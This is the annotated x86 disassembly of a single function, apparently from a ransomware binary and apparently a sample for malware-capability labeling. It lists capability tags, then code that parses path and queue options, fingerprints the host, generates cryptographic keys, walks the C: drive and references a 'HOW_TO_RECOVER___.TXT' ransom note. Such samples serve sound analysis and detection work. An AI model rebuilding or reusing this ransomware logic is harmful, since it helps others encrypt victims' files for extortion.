Function at 0x4061bf
Capabilities:
Accept command line arguments
Create new key via cryptacquirecontext
Create thread
Encode data using xor
Generate random numbers using a mersenne twister
Generate random numbers via winapi
Get common file path
Get hostname
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x42e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
lea eax, [ebp - 0xf4]
push edi
push eax
mov dword [ebp - 0x3d0], ebx
mov dword [ebp - 0x3cc], ebx
mov byte [ebp - 0x3fc], bl
mov dword [ebp - 0x3f8], ebx
mov dword [ebp - 0xf4], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x3f4], eax
test eax, eax
je 0x40631f
cmp dword [ebp - 0xf4], 1
jle 0x406318
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpW]
lea esi, [eax + 4]
push 2
pop edi
push 0x42b460
push dword [esi]
mov dword [ebp - 0x400], edi
call ebx
test eax, eax
jne 0x406253
cmp dword [ebp - 0xf4], edi
jl 0x406253
lea eax, [ebp - 0x3d0]
jmp 0x4062a3
push 0x42b46c
push dword [esi]
call ebx
test eax, eax
jne 0x406288
cmp dword [ebp - 0xf4], edi
jl 0x406288
push 0x42b468
push dword [esi + 4]
lea eax, [ebp - 0x3cc]
push eax
call fcn.00415876
add esp, 0xc
mov byte [ebp - 0x3fc], 1
jmp 0x4062fa
push 0x42b474
push dword [esi]
call ebx
test eax, eax
jne 0x4062b6
cmp dword [ebp - 0xf4], edi
jl 0x4062b6
lea eax, [ebp - 0x3cc]
push 0x42b468
push dword [esi + 4]
push eax
call fcn.00415876
add esp, 0xc
jmp 0x4062fa
push str._path
push dword [esi]
call ebx
test eax, eax
jne 0x4062dc
cmp dword [ebp - 0xf4], edi
jl 0x4062dc
push dword [esi + 4]
call dword [sym.imp.SHLWAPI.dll_StrDupW]
mov dword [ebp - 0x3f8], eax
jmp 0x4062fa
push str._queue
push dword [esi]
call ebx
test eax, eax
jne 0x4062fa
cmp dword [ebp - 0xf4], edi
jl 0x4062fa
push dword [esi + 4]
call fcn.004160df
pop ecx
mov eax, dword [ebp - 0x400]
inc edi
add esi, 4
cmp eax, dword [ebp - 0xf4]
jl 0x406230
mov eax, dword [ebp - 0x3f4]
xor ebx, ebx
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
imul ecx, esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
rdtsc
push ebx
push 1
imul eax, ecx
push ebx
push ebx
imul eax, dword [ebp - 0x110]
mov dword [ebp - 0xfc], eax
lea eax, [ebp - 0xf8]
push eax
call esi
test eax, eax
jne 0x406392
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x4063b4
push 8
push 1
push ebx
push ebx
lea eax, [ebp - 0xf8]
push eax
call esi
test eax, eax
je 0x4063b4
lea eax, [ebp - 0xfc]
push eax
push 4
push dword [ebp - 0xf8]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
push ebx
push dword [ebp - 0xf8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 0xfc]
xor edx, edx
mov dword [0x42ff60], eax
inc edx
mov eax, dword [edx*4 + 0x42ff5c]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [edx*4 + 0x42ff60], eax
inc edx
cmp edx, 0x270
jl 0x4063c2
push 1
mov dword [0x430920], edx
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
xor eax, eax
mov byte [ebp - 0x420], 9
push 7
pop ecx
lea edi, [ebp - 0x41f]
mov dword [ebp - 0x3f0], 0x7afa20cd
rep stosd dword es:[edi], eax
mov dword [ebp - 0x3ec], 0xaa84f355
mov dword [ebp - 0x3e8], 0x45c127ff
mov dword [ebp - 0x3e4], 0x63bd3666
stosw word es:[edi], ax
mov dword [ebp - 0x3e0], 0x219e3274
mov dword [ebp - 0x3dc], 0x8166807b
mov dword [ebp - 0x3d8], 0x45204f1a
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x14]
mov dword [ebp - 0x3d4], 0xffc1b891
stosd dword es:[edi], eax
mov dword [ebp - 0x100], 0x10
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x40
lea eax, [ebp - 0xf0]
xorps xmm0, xmm0
push ebx
push eax
movlpd qword [ebp - 0x108], xmm0
call fcn.00413bd0
add esp, 0xc
lea eax, [ebp - 0xf0]
push 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
lea eax, [ebp - 0xf0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4064e8
push ebx
push ebx
lea eax, [ebp - 0x108]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004060c4
test eax, eax
lea edi, [ebp - 0x24]
mov ecx, 0xdead
cmove eax, ecx
xor ecx, ecx
mov dword [ebp - 0x3f4], eax
xor eax, eax
stosd dword es:[edi], eax
push ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
cpuid
mov esi, ebx
lea edi, [ebp - 0x24]
pop ebx
mov dword [edi], eax
mov eax, dword [ebp - 0x3f4]
mov dword [edi + 4], esi
mov esi, edi
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
lea edi, [ebp - 0x68]
mov dword [ebp - 0x6c], eax
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x104]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, 0x42ee00
lea edi, [ebp - 0x58]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x100]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x14]
push esi
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.00415060
add esp, 0xc
lea ecx, [ebp - 0x178]
call fcn.00403b04
lea eax, [esi + 0x28]
push eax
lea edx, [ebp - 0x6c]
call fcn.00403b45
pop ecx
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x178]
call fcn.00403bd1
lea eax, [ebp - 0x3f0]
push eax
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x8c]
call fcn.004030d4
pop ecx
lea eax, [ebp - 0x420]
mov ecx, 0x42f98c
push eax
lea edx, [ebp - 0x8c]
call fcn.004030d4
lea edx, [ebp - 0x8c]
mov dword [esp], 0x42ee18
lea ecx, [ebp - 0xac]
call fcn.004030d4
pop ecx
lea ecx, [ebp - 0x178]
call fcn.00403b04
push 0x20
lea edx, [ebp - 0xac]
call fcn.00403b45
pop ecx
mov edi, 0x42f968
mov edx, edi
lea ecx, [ebp - 0x178]
call fcn.00403bd1
xor ecx, ecx
call fcn.004073a8
push dword [0x42ee14]
xor ebx, ebx
lea eax, [ebp - 0x3c8]
push ebx
push ebx
push eax
push ebx
push str.C:
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x406639
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x406639
mov dword [0x42ee14], ebx
jmp 0x406640
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x42fae8
call fcn.00403ffd
pop ecx
push ebx
push ebx
push ebx
push 0x406149
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, dword [ebp - 0x3f8]
mov esi, eax
mov edx, dword [ebp - 0x3cc]
mov ecx, dword [ebp - 0x3d0]
push ebx
push dword [ebp - 0x3fc]
call fcn.00405472
pop ecx
pop ecx
mov ecx, str.C:HOW_TO_RECOVER___.TXT
call fcn.00404aad
test ebx, ebx
je 0x406692
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 8
pop ecx
xor eax, eax
push eax
rep stosd dword es:[edi], eax
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
call fcn.00405b8a
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412408
leave
ret